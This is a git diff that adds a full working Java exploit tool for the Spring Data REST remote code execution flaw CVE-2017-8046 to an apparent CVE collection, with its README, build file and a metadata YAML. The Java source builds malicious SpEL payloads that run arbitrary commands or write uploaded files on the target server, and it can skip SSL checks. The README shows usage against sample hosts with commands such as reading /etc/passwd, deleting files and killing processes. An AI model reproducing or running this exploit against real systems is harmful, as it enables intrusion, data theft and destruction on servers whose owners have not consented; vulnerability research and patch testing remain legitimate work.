diff --git a/cve/java-spring/2017/CVE-2017-8046/.gitignore b/cve/java-spring/2017/CVE-2017-8046/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..6dc7e51e1c602a75fbc5269c2fb0e3f37e07fdb1 --- /dev/null +++ b/cve/java-spring/2017/CVE-2017-8046/.gitignore @@ -0,0 +1,60 @@ +################### +# Compiled source # +################### +*.com +*.dll +*.exe +*.o +*.so +*.bat + +############ +# Packages # +############ +# it's better to unpack these files and commit the raw source +# git has its own built in compression methods +*.7z +*.dmg +*.gz +*.iso +*.rar +*.tar +*.zip + +###################### +# Logs and databases # +###################### +*.log +*.sqlite + +###################### +# OS generated files # +###################### +.DS_Store* +ehthumbs.db +Icon? +Thumbs.db +*~ + +###################### +# Other repositories # +###################### +.svn +.\#* + +#################### +# Java programming # +#################### +build +doc +generated +target +.project +.classpath +.settings +*.class +*.jar +*.war +*.ear +junit*.properties +/bin/ diff --git a/cve/java-spring/2017/CVE-2017-8046/LICENSE.txt b/cve/java-spring/2017/CVE-2017-8046/LICENSE.txt new file mode 100644 index 0000000000000000000000000000000000000000..929042542388ba0dca2afefdb2edb985c4903571 --- /dev/null +++ b/cve/java-spring/2017/CVE-2017-8046/LICENSE.txt @@ -0,0 +1,13 @@ +Copyright 2018 Antonio Francesco Sardella + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. \ No newline at end of file diff --git a/cve/java-spring/2017/CVE-2017-8046/README.md b/cve/java-spring/2017/CVE-2017-8046/README.md new file mode 100644 index 0000000000000000000000000000000000000000..60caa5e0cbbb215be92a79c414b16a0bd1ca83e7 --- /dev/null +++ b/cve/java-spring/2017/CVE-2017-8046/README.md @@ -0,0 +1,163 @@ +# spring-break_cve-2017-8046 + +This is a Java program that exploits **Spring Break** vulnerability (**CVE-2017-8046**). + +This software is written to have as less external dependencies as possible. + +## DISCLAIMER + +**This tool is intended for security engineers and appsec guys for security assessments. Please use this tool responsibly. I do not take responsibility for the way in which any one uses this application. I am NOT responsible for any damages caused or any crimes committed by using this tool.** + +## Vulnerability info + +* **CVE-ID**: CVE-2017-8046 +* **Link**: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046) +* **Description**: Malicious *PATCH* requests submitted to *spring-data-rest* servers in **Pivotal Spring Data REST** versions prior to **2.5.12**, **2.6.7**, **3.0 RC3**, **Spring Boot** versions prior to **2.0.0M4**, and **Spring Data** release trains prior to **Kay-RC3** can use specially crafted JSON data to run arbitrary Java code. +* **Vendor link**: [https://pivotal.io/security/cve-2017-8046](https://pivotal.io/security/cve-2017-8046) + +## How to generate an executable JAR + +Here some steps to follow in order to generate an executable JAR, with all dependencies into it, that can be used to launch the exploit. + +### with Maven + +Following Maven command can be launched: + +``` +mvn clean compile package +``` + +### with Eclipse + +Following steps can be done: +1. solve all external dependencies/libraries; +1. right click on the Eclipse project and go to `Run As > Run Configurations`; +1. right click on `Java Application` then on `New`; +1. choose a name and set the main class to `com.afs.exploit.spring.SpringBreakCve20178046`; +1. click on `Apply` button; +1. close the window and go back to the main Eclipse window; +1. right click on the Eclipse project and click on `Export...`; +1. find and choose `Runnable JAR file` (under `Java` branch); +1. in the following window: + 1. choose the correct `Launch configuration` created before; + 1. choose an `Export destination`; + 1. choose the option `Extract required libraries into generated JAR`; + 1. click on `Finish` button. + +## Help + +``` +Usage: + java -jar spring-break_cve-2017-8046.jar [options] +Description: + Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046). +Options: + -h, --help + Prints this help and exits. + -u, --url [target_URL] + The target URL where the exploit will be performed. + You have to choose an existent resource. + -cmd, --command [command_to_execute] + The command that will be executed on the remote machine. + -U, --upload [file_to_upload] + File to upload to the remote machine. Will be uploaded to the current working + directory of the java process. Warning: this will only succeed on a server running + JRE-1.7 or later. + --remote-upload-directory [/some/existing/path/] + Optional. Server will attempt to write the uploaded file to this directory on the + filesystem. Specified directory must exist and be writeable. + --cookies [cookies] + Optional. Cookies passed into the request, e.g. authentication cookies. + -H, --header [custom_header] + Optional. Custom header passed into the request, e.g. authorization header. + -k + Skip SSL validation + --clean + Optional. Removes error messages in output due to the usage of the + exploit. It could hide error messages if the request fails for other reasons. + --error-stream + Optional. In case of errors the command will fail and the error stream will + not be returned. This option can be used to relaunch the remote command + returning the error stream. + -v, --verbose + Optional. Increase verbosity. +``` + + +## Examples + +``` +java -jar spring-break_cve-2017-8046.jar --url "https://vuln01.foo.com/api/v1/entity/123" --command ipconfig +``` + +``` +java -jar spring-break_cve-2017-8046.jar --url "https://vuln02.foo.com/api/v2/entity/42" --command ipconfig --cookies "JSESSIONID=qwerty0123456789" +``` + +``` +java -jar spring-break_cve-2017-8046.jar -v --url "https://vuln02.foo.com/api/v2/entity/42" --upload file.sh --remote-upload-directory /tmp +``` + +``` +java -jar spring-break_cve-2017-8046.jar --url "https://vuln03.foo.com/asd/api/v1/entity/1" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar" +``` + +``` +java -jar spring-break_cve-2017-8046.jar --url "https://vuln04.foo.com/asd/api/v1/entity/1" --command "dir C:\Windows" --clean +``` + +``` +java -jar spring-break_cve-2017-8046.jar --url "https://vuln05.foo.com/asd/api/v1/entity/1" --command "copy /b NUL ..\..\pwned.txt" --clean +``` + +``` +java -jar spring-break_cve-2017-8046.jar --url "https://vuln06.foo.com/asd/api/v1/entity/1" --command "ping -c 3 www.google.it" --clean +``` + +``` +java -jar spring-break_cve-2017-8046.jar --url "https://vuln07.foo.com/asd/api/v1/entity/1" --command "ps aux" --clean +``` + +``` +java -jar spring-break_cve-2017-8046.jar --url "https://vuln08.foo.com/asd/api/v1/entity/1" --command "uname -a" --clean +``` + +``` +java -jar spring-break_cve-2017-8046.jar --url "https://vuln09.foo.com/asd/api/v1/entity/1" --command "ls -l" --clean +``` + +``` +java -jar spring-break_cve-2017-8046.jar --url "https://vuln10.foo.com/asd/api/v1/entity/1" --command "wget https://www.google.com" --clean +``` + +``` +java -jar spring-break_cve-2017-8046.jar --url "https://vuln11.foo.com/asd/api/v1/entity/1" --command "rm index.html" --clean +``` + +``` +java -jar spring-break_cve-2017-8046.jar --url "https://vuln12.foo.com/asd/api/v1/entity/1" --command "cat /etc/passwd" --clean +``` + +``` +java -jar spring-break_cve-2017-8046.jar --url "https://vuln13.foo.com/asd/api/v1/entity/1" --command "kill -9 5638" --clean +``` + +Please note that the referenced resource/URL must exist! + +## Vulnerable application + +A vulnerable application can be found [here](https://github.com/m3ssap0/SpringBreakVulnerableApp). + +## Authors + +* **Antonio Francesco Sardella** - *main implementation* - [m3ssap0](https://github.com/m3ssap0) +* **Yassine Tioual** - *HTTP header enhancement* - [nisay759](https://github.com/nisay759) +* **Robin Wagenaar** - *for the suggestion to use patch operation 'remove' instead of 'replace' and for the file upload functionality* - [RobinWagenaar](https://github.com/RobinWagenaar) + +## License + +This project is licensed under the Apache License Version 2.0 - see the **LICENSE.txt** file for details. + +## Acknowledgments + +* [Man Yue Mo](https://lgtm.com/blog/spring_data_rest_CVE-2017-8046_ql) the security researcher who discovered the vulnerability \ No newline at end of file diff --git a/cve/java-spring/2017/CVE-2017-8046/SpringBreakCve20178046.java b/cve/java-spring/2017/CVE-2017-8046/SpringBreakCve20178046.java new file mode 100644 index 0000000000000000000000000000000000000000..7488b58c040159e87a1461cba3713e0bef039095 --- /dev/null +++ b/cve/java-spring/2017/CVE-2017-8046/SpringBreakCve20178046.java @@ -0,0 +1,651 @@ +// Exploit Title: RCE in PATCH requests in Spring Data REST +// Date: 2018-03-10 +// Exploit Author: Antonio Francesco Sardella +// Vendor Homepage: https://pivotal.io/ +// Software Link: https://projects.spring.io/spring-data-rest/ +// Version: Spring Data REST versions prior to 2.6.9 (Ingalls SR9), 3.0.1 (Kay SR1) +// Tested on: 'Microsoft Windows 7' and 'Xubuntu 17.10.1' with 'spring-boot-starter-data-rest' version '1.5.6.RELEASE' +// CVE: CVE-2017-8046 +// Category: Webapps +// Repository: https://github.com/m3ssap0/spring-break_cve-2017-8046 +// Example Vulnerable Application: https://github.com/m3ssap0/SpringBreakVulnerableApp +// Vulnerability discovered and reported by: Man Yue Mo from Semmle and lgtm.com + +package com.afs.exploit.spring; + +import java.io.BufferedReader; +import java.io.File; +import java.io.IOException; +import java.io.InputStreamReader; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.ArrayList; +import java.util.List; + +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.io.FileUtils; +import org.apache.http.HttpResponse; +import org.apache.http.client.HttpClient; +import org.apache.http.client.methods.HttpPatch; +import org.apache.http.entity.StringEntity; +import org.apache.http.impl.client.HttpClientBuilder; +import org.apache.http.ssl.SSLContextBuilder; +import org.apache.http.conn.ssl.TrustSelfSignedStrategy; +import org.apache.http.conn.ssl.SSLConnectionSocketFactory; +import org.apache.http.conn.ssl.NoopHostnameVerifier; + +/** + * This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046). + * This software is written to have as less external dependencies as possible. + * DISCLAIMER: This tool is intended for security engineers and appsec guys for security assessments. Please + * use this tool responsibly. I do not take responsibility for the way in which any one uses this application. + * I am NOT responsible for any damages caused or any crimes committed by using this tool. + * .................. + * . CVE-ID ........: CVE-2017-8046 + * . Link ..........: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046 + * . Description ...: Malicious PATCH requests submitted to spring-data-rest servers in Pivotal Spring Data REST + * .................. versions prior to 2.5.12, 2.6.9, 3.0 RC3, Spring Boot versions prior to 2.0.0M4, and Spring + * .................. Data release trains prior to Kay-RC3 can use specially crafted JSON data to run arbitrary + * .................. Java code. + * .................. + * + * @author Antonio Francesco Sardella + */ +public class SpringBreakCve20178046 { + + /** + * Version string. + */ + private static final String VERSION = "v1.6 (2018-10-13)"; + + /** + * The JSON Patch object. + */ + private static String JSON_PATCH_OBJECT = "[{ \"op\" : \"remove\", \"path\" : \"%s\", \"value\" : \"pwned\" }]"; + + /** + * This is a way to bypass the split and 'replace' + * logic performed by the framework on slashes. + */ + private static String SLASH = "(new java.lang.String(new char[]{0x2F}))"; + + /** + * Malicious SpEL-script for executing commands. + */ + private static String COMMAND_PAYLOAD; + static { + COMMAND_PAYLOAD = "T(org.springframework.util.StreamUtils).copy("; + COMMAND_PAYLOAD += "T(java.lang.Runtime).getRuntime().exec("; + COMMAND_PAYLOAD += "("; + COMMAND_PAYLOAD += "T(java.lang.System).getProperty(\\\"os.name\\\").toLowerCase().contains(\\\"win\\\")"; + COMMAND_PAYLOAD += "?"; + COMMAND_PAYLOAD += "\\\"cmd \\\"+" + SLASH + "+\\\"c \\\""; + COMMAND_PAYLOAD += ":"; + COMMAND_PAYLOAD += "\\\"\\\""; + COMMAND_PAYLOAD += ")+"; + COMMAND_PAYLOAD += "%s"; // The encoded command will be placed here. + COMMAND_PAYLOAD += ").get%sStream()"; + COMMAND_PAYLOAD += ","; + COMMAND_PAYLOAD += "T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes()"; + COMMAND_PAYLOAD += ".getResponse().getOutputStream()"; + COMMAND_PAYLOAD += ").x"; + } + + /** + * Malicious SpEL-script for uploading files (like scripts, binaries, etc). + */ + private static String FILEUPLOAD_PAYLOAD; + static { + // Classes java.nio.file.* are only available in Java 7+. + FILEUPLOAD_PAYLOAD = "T(java.nio.file.Files).write("; + FILEUPLOAD_PAYLOAD += "T(java.nio.file.Paths).get(%s),"; + FILEUPLOAD_PAYLOAD += "T(java.util.Base64).getDecoder().decode(\\\"%s\\\")"; + FILEUPLOAD_PAYLOAD += ").x"; + } + + /** + * Error cause string that can be used to "clean the response." + */ + private static String ERROR_CAUSE = "{\"cause"; + + /** + * Constant that will be used to get input stream. + */ + private static String INPUT_STREAM = "Input"; + + /** + * Constant that will be used to get error stream. + */ + private static String ERROR_STREAM = "Error"; + + /** + * The target URL. + */ + private URI url; + + /** + * Whether to skipSSL or not, default set to false + */ + private boolean skipSSL; + + /** + * The command that will be executed on the remote machine. + */ + private String command; + + /** + * Cookies that will be passed. + */ + private String cookies; + + /** + * Flag used to remove error messages in output due to + * the usage of the exploit. It could hide error messages + * if the request fails for other reasons. + */ + private boolean cleanResponse; + + /** + * This flag can be used to retrieve the error stream + * in case the launched remote command fails unexpectedly. + */ + private boolean errorStream; + + /** + * Verbosity flag. + */ + private boolean verbose; + + /** + * Custom headers that will be passed. + */ + private List customHeaders = new ArrayList(); + + /** + * Path that will point to a file on the local filesystem, which will + * be uploaded. Uploads cannot be used in conjunction with commands in the + * same request. + */ + private File localFileToUpload; + + /** + * Server will upload the file to this location, e.g. /tmp or C:\TEMP. This path + * will be encoded to ensure that Spring will not convert slashes to dots. + */ + private String remoteUploadDirectory; + + /** + * Default constructor. + */ + public SpringBreakCve20178046() { + this.verbose = false; + this.cleanResponse = false; + this.errorStream = false; + this.skipSSL = false; + } + + /** + * Performs the exploit. + * + * @throws IOException + * If something bad occurs during HTTP GET. + */ + public void exploit() throws IOException { + checkInput(); + printInput(); + String payload = preparePayload(); + String response = httpPatch(payload); + printOutput(response); + } + + /** + * Checks the input. + */ + private void checkInput() { + if (this.url == null) { + throw new IllegalArgumentException("URL must be passed."); + } + + if ((isEmpty(this.command) && this.localFileToUpload == null) || (!isEmpty(this.command) && this.localFileToUpload != null)) { + throw new IllegalArgumentException("Either a command must be passed, or a file must be selected for upload."); + } + } + + /** + * Prints input if verbose flag is true. + */ + private void printInput() { + if (isVerbose()) { + System.out.println("[*] Target URL ........: " + this.url); + if (!isEmpty(this.command)) { + System.out.println("[*] Command ...........: " + this.command); + } + if (this.localFileToUpload != null) { + System.out.println("[*] File to upload ....: " + this.localFileToUpload.getAbsolutePath()); + if (!isEmpty(this.remoteUploadDirectory)) { + System.out.println("[*] Remote upload dir .: " + this.remoteUploadDirectory); + } + } + System.out.println("[*] Cookies ...........: " + (isEmpty(this.cookies) ? "(no cookies)" : this.cookies)); + System.out.println("[*] Headers ...........: " + (this.customHeaders == null || this.customHeaders.isEmpty() ? "(no headers)" : "(" + this.customHeaders.size() + " headers)")); + if (this.customHeaders != null && !this.customHeaders.isEmpty()) { + for (String header : this.customHeaders) { + System.out.println(" > " + header); + } + } + System.out.println("[*] Clean response ....: " + this.cleanResponse); + System.out.println("[*] Ret error stream ..: " + this.errorStream); + System.out.println("[*] Verbose ...........: " + this.verbose); + } + } + + /** + * Prepares the payload. + * + * @return The malicious payload that will be injected. + */ + private String preparePayload() { + System.out.println("[*] Preparing payload."); + String payload = null; + + // Send a command to the server: + if (!isEmpty(this.command)) { + String encodedCommand = encode(this.command); // Encoding inserted command. + String maliciousSpEL = String.format(COMMAND_PAYLOAD, encodedCommand, isErrorStream() ? ERROR_STREAM : INPUT_STREAM); + payload = String.format(JSON_PATCH_OBJECT, maliciousSpEL); // Placing payload into JSON Patch object. + } + + // Upload a file to the server: + else if (this.localFileToUpload != null) { + try { + // Remote preparing filename / directory. + String filename = this.localFileToUpload.getName(); + if (remoteUploadDirectory != null) { + filename = remoteUploadDirectory + filename; + filename = encode(filename); + } + + // Reading file content to byte[] instead of string avoids potential text encoding issues. + byte[] rawFileContent = FileUtils.readFileToByteArray(this.localFileToUpload); + String encodedFileContent = Base64.encodeBase64String(rawFileContent); + String maliciousSpEL = String.format(FILEUPLOAD_PAYLOAD, filename, encodedFileContent); + payload = String.format(JSON_PATCH_OBJECT, maliciousSpEL); + + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + if (isVerbose()) { + System.out.println("[*] Payload ...........: " + payload); + } + + return payload; + } + + /** + * Encodes the inserted command. + * + * @return The encoded command. + */ + private String encode(String command) { + StringBuffer encodedCommand = new StringBuffer("(new java.lang.String(new char[]{"); + + int commandLength = command.length(); + for (int i = 0; i < commandLength; i++) { + encodedCommand.append((int) command.charAt(i)); + if (i + 1 < commandLength) { + encodedCommand.append(","); + } + } + + encodedCommand.append("}))"); + + if (isVerbose()) { + System.out.println("[*] Encoded command ...: " + encodedCommand.toString()); + } + + return encodedCommand.toString(); + } + + /** + * HTTP PATCH operation on the target passing the malicious payload. + * + * @param payload + * The malicious payload. + * @return The response as a string. + * @throws IOException + * If something bad occurs during HTTP GET. + */ + private String httpPatch(String payload) throws IOException { + System.out.println("[*] Sending payload."); + + // Preparing PATCH operation. + HttpClientBuilder clientBuilder = HttpClientBuilder.create(); + + // Disable SSL Verification + if(this.url.getScheme().equalsIgnoreCase("https") && this.skipSSL){ + try{ + SSLContextBuilder sslBuilder = new SSLContextBuilder(); + sslBuilder.loadTrustMaterial(null, new TrustSelfSignedStrategy()); + // Since certificates contain hostnames, not ip addresses, if we try https://ipAddress + // a SSLPeerUnverifiedException would be thrown because hostname in certificate does not match + // ip used in https://ipAddress, to avoid that error we need to use the overloaded constructor taking as second arg NoopHostnameVerifier. + SSLConnectionSocketFactory sslConnectionFactory = new SSLConnectionSocketFactory(sslBuilder.build(), NoopHostnameVerifier.INSTANCE); + clientBuilder.setSSLSocketFactory(sslConnectionFactory); + } catch(Exception exception) { + // Errors that may be thrown: KeyManagementException, KeyStoreException, NoSuchAlgorithmException, SSLPeerUnverifiedException + throw new RuntimeException(exception); + } + } + + HttpClient client = clientBuilder.build(); + + HttpPatch patch = new HttpPatch(this.url); + patch.setHeader("User-Agent", "Mozilla/5.0"); + patch.setHeader("Accept-Language", "en-US,en;q=0.5"); + patch.setHeader("Content-Type", "application/json-patch+json"); // This is a JSON Patch. + if (!isEmpty(this.cookies)) { + patch.setHeader("Cookie", this.cookies); + } + if (!customHeaders.isEmpty()) { + for (String header : this.customHeaders) { + String key = header.split(":")[0]; + String value = header.split(":")[1]; + patch.setHeader(key, value); + } + } + patch.setEntity(new StringEntity(payload)); + + // Response string. + StringBuffer response = new StringBuffer(); + + // Executing PATCH operation. + HttpResponse httpResponse = client.execute(patch); + if (httpResponse != null) { + + // Reading response code. + if (httpResponse.getStatusLine() != null) { + int responseCode = httpResponse.getStatusLine().getStatusCode(); + System.out.println("[*] HTTP " + responseCode); + } else { + System.out.println("[!] HTTP response code can't be read."); + } + + // Reading response content. + if (httpResponse.getEntity() != null && httpResponse.getEntity().getContent() != null) { + BufferedReader in = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent())); + String inputLine; + + while ((inputLine = in.readLine()) != null) { + response.append(inputLine); + response.append(System.getProperty("line.separator")); + } + in.close(); + } else { + System.out.println("[!] HTTP response content can't be read."); + } + + } else { + System.out.println("[!] HTTP response is null."); + } + + return response.toString(); + } + + /** + * Prints output. + * + * @param response + * Response that will be printed. + */ + private void printOutput(String response) { + if (!isEmpty(response)) { + System.out.println("[*] vvv Response vvv"); + + // Cleaning response (if possible). + if (isCleanResponse() && response.contains(ERROR_CAUSE)) { + String cleanedResponse = response.split("\\" + ERROR_CAUSE)[0]; + System.out.println(cleanedResponse); + } else { + System.out.println(response); + } + + System.out.println("[*] ^^^ ======== ^^^"); + } + } + + /** + * Checks if an input string is null/empty or not. + * + * @param input + * The input string to check. + * @return True if the string is null or empty, false otherwise. + */ + private boolean isEmpty(String input) { + boolean isEmpty; + + if (input == null || input.trim().length() < 1) { + isEmpty = true; + } else { + isEmpty = false; + } + + return isEmpty; + } + + /* Getters and setters. */ + + public boolean isVerbose() { + return verbose; + } + + public void setVerbose(boolean verbose) { + this.verbose = verbose; + } + + public void setUrl(String url) throws URISyntaxException { + if (isEmpty(url)) { + throw new IllegalArgumentException("URL must be not null and not empty."); + } + + this.url = new URI(url.trim()); + } + + public void setCommand(String command) { + if (isEmpty(command)) { + throw new IllegalArgumentException("Command must be not null and not empty."); + } + + this.command = command.trim(); + } + + public void setCookies(String cookies) { + if (cookies != null) { + cookies = cookies.trim(); + } + + this.cookies = cookies; + } + + public void setSkipSSL(boolean skipSSL){ + this.skipSSL = skipSSL; + } + + public void setCustomHeader(String customHeader) { + if (customHeader != null && customHeader.contains(":") && !customHeader.startsWith(":") && !customHeader.endsWith(":")) { + customHeader = customHeader.trim(); + this.customHeaders.add(customHeader); + } + } + + public boolean isCleanResponse() { + return cleanResponse; + } + + public void setCleanResponse(boolean cleanResponse) { + this.cleanResponse = cleanResponse; + } + + public boolean isErrorStream() { + return errorStream; + } + + public void setErrorStream(boolean errorStream) { + this.errorStream = errorStream; + } + + public void setLocalFileToUpload(String localFileToUpload) { + if (isEmpty(localFileToUpload)) { + throw new IllegalArgumentException("Filename must not be null and not empty."); + } + + File upload = new File(localFileToUpload); + if (!upload.exists() || !upload.isFile() || !upload.canRead()) { + throw new IllegalArgumentException("File to upload does not exist or is not readable: " + upload.getAbsolutePath()); + } + + this.localFileToUpload = upload; + } + + public void setRemoteUploadDirectory(String remoteUploadDirectory) { + if (!remoteUploadDirectory.endsWith("/")) { + remoteUploadDirectory += "/"; + } + this.remoteUploadDirectory = remoteUploadDirectory; + } + + /** + * Shows the program help. + */ + public static final void help() { + System.out.println("Usage:"); + System.out.println(" java -jar spring-break_cve-2017-8046.jar [options]"); + System.out.println("Description:"); + System.out.println(" Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046)."); + System.out.println("Options:"); + System.out.println(" -h, --help"); + System.out.println(" Prints this help and exits."); + System.out.println(" -u, --url [target_URL]"); + System.out.println(" The target URL where the exploit will be performed."); + System.out.println(" You have to choose an existent resource."); + System.out.println(" -cmd, --command [command_to_execute]"); + System.out.println(" The command that will be executed on the remote machine."); + System.out.println(" -U, --upload [file_to_upload]"); + System.out.println(" File to upload to the remote machine. Will be uploaded to the current working"); + System.out.println(" directory of the Java process. Warning: this will only succeed on a server running"); + System.out.println(" JRE-1.7 or later."); + System.out.println(" --remote-upload-directory [/some/existing/path/]"); + System.out.println(" Optional. Server will attempt to write the uploaded file to this directory on the"); + System.out.println(" filesystem. Specified directory must exist and be writeable."); + System.out.println(" --cookies [cookies]"); + System.out.println(" Optional. Cookies passed into the request, e.g. authentication cookies."); + System.out.println(" -H, --header [custom_header]"); + System.out.println(" Optional. Custom header passed into the request, e.g. authorization header."); + System.out.println(" -k"); + System.out.println(" Skip SSL validation"); + System.out.println(" --clean"); + System.out.println(" Optional. Removes error messages in output due to the usage of the"); + System.out.println(" exploit. It could hide error messages if the request fails for other reasons."); + System.out.println(" --error-stream"); + System.out.println(" Optional. In case of errors the command will fail and the error stream will"); + System.out.println(" not be returned. This option can be used to relaunch the remote command"); + System.out.println(" returning the error stream."); + System.out.println(" -v, --verbose"); + System.out.println(" Optional. Increase verbosity."); + } + + /** + * Main method. + * + * @param args + * Input arguments + */ + public static void main(String[] args) { + try { + System.out.println("'Spring Break' RCE (CVE-2017-8046) - " + VERSION); + SpringBreakCve20178046 o = new SpringBreakCve20178046(); + + if (args.length > 0) { + for (int i = 0; i < args.length; i++) { + + String p = args[i]; + + if (("-h".equals(p) || "--help".equals(p)) && i == 0) { + SpringBreakCve20178046.help(); + return; + } else if ("-u".equals(p) || "--url".equals(p)) { + + if (i + 1 > args.length - 1) { + throw new IllegalArgumentException("URL must be passed."); + } + o.setUrl(args[++i]); + + } else if ("-U".equals(p) || "--upload".equals(p)) { + + if (i + 1 > args.length - 1) { + throw new IllegalArgumentException("File must be passed, if specified."); + } + o.setLocalFileToUpload(args[++i].trim()); + + } else if ("--remote-upload-directory".equals(p)) { + + if (i + 1 > args.length - 1) { + throw new IllegalArgumentException("Remote directory must be passed, if specified."); + } + o.setRemoteUploadDirectory(args[++i].trim()); + + } else if ("-cmd".equals(p) || "--command".equals(p)) { + + if (i + 1 > args.length - 1) { + throw new IllegalArgumentException("Command must be passed."); + } + o.setCommand(args[++i]); + + } else if ("--cookies".equals(p)) { + + if (i + 1 > args.length - 1) { + throw new IllegalArgumentException("Cookies must be passed, if specified."); + } + o.setCookies(args[++i]); + + } else if ("-k".equals(p)) { + + o.setSkipSSL(true); + + } else if ("-H".equals(p) || "--header".equals(p)) { + + if (i + 1 > args.length - 1) { + throw new IllegalArgumentException("Custom header must be passed, if specified."); + } + o.setCustomHeader(args[++i]); + + } else if ("--clean".equals(p)) { + o.setCleanResponse(true); + } else if ("--error-stream".equals(p)) { + o.setErrorStream(true); + } else if ("-v".equals(p) || "--verbose".equals(p)) { + o.setVerbose(true); + } + + } + + // Performing the exploit. + o.exploit(); + + } else { // Wrong number of arguments. + SpringBreakCve20178046.help(); + return; + } + + } catch (URISyntaxException use) { + System.out.println("[!] Input error (URI syntax exception): " + use.getMessage()); + } catch (IllegalArgumentException iae) { + System.out.println("[!] Input error (illegal argument): " + iae.getMessage()); + } catch (Exception e) { + System.out.println("[!] Unexpected exception: " + e.getMessage()); + e.printStackTrace(); + } + } + +} diff --git a/cve/java-spring/2017/CVE-2017-8046/pom.xml b/cve/java-spring/2017/CVE-2017-8046/pom.xml new file mode 100644 index 0000000000000000000000000000000000000000..0cb3f6ed37b9ebf83c89e98343fd6c0a09ddbd68 --- /dev/null +++ b/cve/java-spring/2017/CVE-2017-8046/pom.xml @@ -0,0 +1,68 @@ + + 4.0.0 + com.afs.exploit + spring-break_cve-2017-8046 + 1.3 + spring-break_cve-2017-8046 + This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046). + + 1.7 + 1.7 + + + src/main/java + + + maven-compiler-plugin + 3.1 + + + + + + + org.apache.maven.plugins + maven-assembly-plugin + + + package + + single + + + + + com.afs.exploit.spring.SpringBreakCve20178046 + + + + jar-with-dependencies + + + + + + + + + + org.apache.httpcomponents + httpclient + 4.5.5 + + + + + commons-io + commons-io + 2.6 + + + https://github.com/m3ssap0/spring-break_cve-2017-8046 + \ No newline at end of file diff --git a/cve/java-spring/2017/yaml/CVE-2017-8046.yaml b/cve/java-spring/2017/yaml/CVE-2017-8046.yaml new file mode 100644 index 0000000000000000000000000000000000000000..c6b5f60832ff2b547f187747a4c930ad1f429c6e --- /dev/null +++ b/cve/java-spring/2017/yaml/CVE-2017-8046.yaml @@ -0,0 +1,21 @@ +id: CVE-2017-8046 +source: + https://github.com/m3ssap0/spring-break_cve-2017-8046 +info: + name: Spring框架是 Java 平台的一个开源的全栈(full-stack)应用程序框架和控制反转容器实现,一般被直接称为 Spring。 + severity: high + description: | + 在2.5.12、2.6.7、3.0 RC3之前的Pivotal spring data rest版本、2.0.0M4之前的spring Boot版本以及Kay-RC3之前的spring data发布序列中,提交给spring data rest服务器的恶意PATCH请求可以使用特制的JSON数据来运行任意Java代码。 + scope-of-influence: + Pivotal spring data rest 2.5.x (<2.5.12) + spring Boot 2.0.x (<2.0.0) + reference: + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2017-8046 + cwe-id: CWE-20 + cnvd-id: None + kve-id: None + tags: cve2017, spring-framework \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 211571f6447ebe793ef2ea64e87df544374ff211..ece28b6221fb4b86ab678599edd677caa43a3a12 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -154,6 +154,7 @@ cve: redis: - CVE-2022-31144 java-spring: + - CVE-2017-8046 - CVE-2020-5398 - CVE-2022-22965 - CVE-2022-22963